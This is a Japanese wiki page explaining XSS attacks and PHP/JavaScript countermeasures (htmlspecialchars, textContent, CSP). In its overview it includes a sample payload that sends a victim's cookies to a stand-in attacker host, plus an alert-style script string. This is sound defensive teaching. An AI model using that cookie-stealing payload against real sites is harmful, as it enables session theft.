PHPの基礎 - XSS対策のソースを表示

== 概要 ==
XSS (クロスサイトスクリプティング) 攻撃は、Webアプリケーションの脆弱性を利用して、悪意のあるスクリプトをユーザのWebブラウザで実行させる攻撃手法である。<br>
<br>
主な攻撃タイプには、反射型XSS、格納型XSS、DOMベースXSSがある。<br>
* 反射型XSS
*: ユーザの入力データがそのままレスポンスとして返される場合に発生する。
* 格納型XSS
*: 悪意のあるスクリプトがデータベースに保存されて、他のユーザがページを閲覧した時に実行される。
* DOMベースXSS
*: クライアントサイドのJavaScriptによってDOMが動的に変更される時に発生する。
<br>
PHPでの対策として、<code>htmlspecialchars</code>関数を使用してHTML特殊文字をエスケープする。<br>
 <syntaxhighlight lang="php">
 $safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
 </syntaxhighlight>
<br>
その他の重要な対策として、Content Security Policy (CSP) の実装、HTTPOnly属性の設定、入力値の適切なバリデーション、出力時のエンコーディング、最新のPHPフレームワークの使用等が挙げられる。<br>
<br>
実際の攻撃例として、以下に示すようなスクリプトが挿入される可能性がある。<br>
<br>
これにより、ユーザのクッキー情報が攻撃者のサーバーに送信される可能性がある。<br>
このような攻撃を防ぐために、適切なエスケープ処理と入力検証が不可欠である。<br>
 <syntaxhighlight lang="javascript">
 <script>
 document.location='http://악성サイト.com/steal.php?cookie='+document.cookie;
 </script>
 </syntaxhighlight>
<br><br>

== htmlspecialchars関数の使用 ==
htmlspecialchars関数は、<u>反射型XSS</u>と<u>格納型XSS</u>の防止に効果的である。<br>
これらのXSS攻撃は、HTMLの出力時にスクリプトが実行される仕組みを利用するためである。<br>
<br>
ただし、htmlspecialchars関数を使用する場合も、第2引数に<code>ENT_QUOTES</code>を指定して、文字エンコーディングを明示的に指定することが必要である。<br>
これにより、シングルクォートとダブルクォートの両方が適切にエスケープされる。<br>
<br>
HTMLコンテンツを出力する場合は、htmlspecialchars関数を使用する。<br>
例えば、データベースに<u>"<script>alert('攻撃')</script>"</u>のような悪意のあるスクリプトが格納されている場合、<br>
htmlspecialchars関数を使用しないと、そのスクリプトがWebブラウザで実行される可能性がある。<br>
<br>
htmlspecialchars関数を使用する場合、特殊文字がHTMLエンティティに変換 (例: "<" -> "&lt;") されて、スクリプトが実行されなくなる。<br>
<br>
ただし、以下のような場合には、htmlspecialchars関数は不要である。<br>
* JSONとして出力する場合 (json_encode関数の使用時)
* データベースへの保存時
* HTMLとして解釈させる場合 (信頼できるソースからのデータの場合のみ)
<br><br>

== DOMベースXSS対策 ==
DOMベースXSSは、クライアントサイドのJavaScriptによってDOMを操作する場合に発生するため、サーバサイドのhtmlspecialchars関数だけでは完全な防止は困難である。<br>
<br>
DOMベースXSSの対策には、クライアントサイドでの適切な入力検証やDOMの安全な操作方法の実装が必要となる。<br>
例えば、innerHTMLの代わりにtextContentを使用する等の対策が必要となる。<br>
<br>
==== DOMのプロパティとメソッドの安全な使用 ====
* innerHTMLの代わりに、textContentを使用してテキストを設定する。
* setAttribute関数の代わりに、直接プロパティを設定する。
*: 例: element.id = 'newId'
<br>
==== URLパラメータの処理 ====
* location.hashやlocation.searchからの値を使用する前に、<code>encodeURIComponent</code>関数でエンコードする。
* URLSearchParams APIを使用して、URLパラメータを安全に解析する。
<br>
==== テンプレートリテラルの活用 ====
 <syntaxhighlight lang="javascript">
 // JavaScriptファイル
 
 // 危険な実装
 element.innerHTML = `Welcome ${userInput}`;
 
 // 安全な実装
 element.textContent = `Welcome ${userInput}`;
 </syntaxhighlight>
<br>
==== イベントハンドラでの入力値の検証 ====
 <syntaxhighlight lang="javascript">
 // JavaScriptファイル
 
 document.getElementById('userInput').addEventListener('input', function(e) {
    const input = e.target.value;
 
    if (!/^[a-zA-Z0-9]+$/.test(input)) {
       e.preventDefault();
       alert('特殊文字は使用できません');
    }
 });
 </syntaxhighlight>
<br>
==== Content Security Policy (CSP) の実装 ====
 <syntaxhighlight lang="html">
 <!-- HTMLファイル -->
 
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
 </syntaxhighlight>
<br><br>


{{#seo:
|title={{PAGENAME}} : Exploring Electronics and SUSE Linux | MochiuWiki
|keywords=MochiuWiki,Mochiu,Wiki,Mochiu Wiki,Electric Circuit,Electric,pcb,Mathematics,AVR,TI,STMicro,AVR,ATmega,MSP430,STM,Arduino,Xilinx,FPGA,Verilog,HDL,PinePhone,Pine Phone,Raspberry,Raspberry Pi,C,C++,C#,Qt,Qml,MFC,Shell,Bash,Zsh,Fish,SUSE,SLE,Suse Enterprise,Suse Linux,openSUSE,open SUSE,Leap,Linux,uCLnux,Podman,電気回路,電子回路,基板,プリント基板
|description={{PAGENAME}} - 電子回路とSUSE Linuxに関する情報 | This page is {{PAGENAME}} in our wiki about electronic circuits and SUSE Linux
|image=/resources/assets/MochiuLogo_Single_Blue.png
}}

__FORCETOC__
[[カテゴリ:Web]]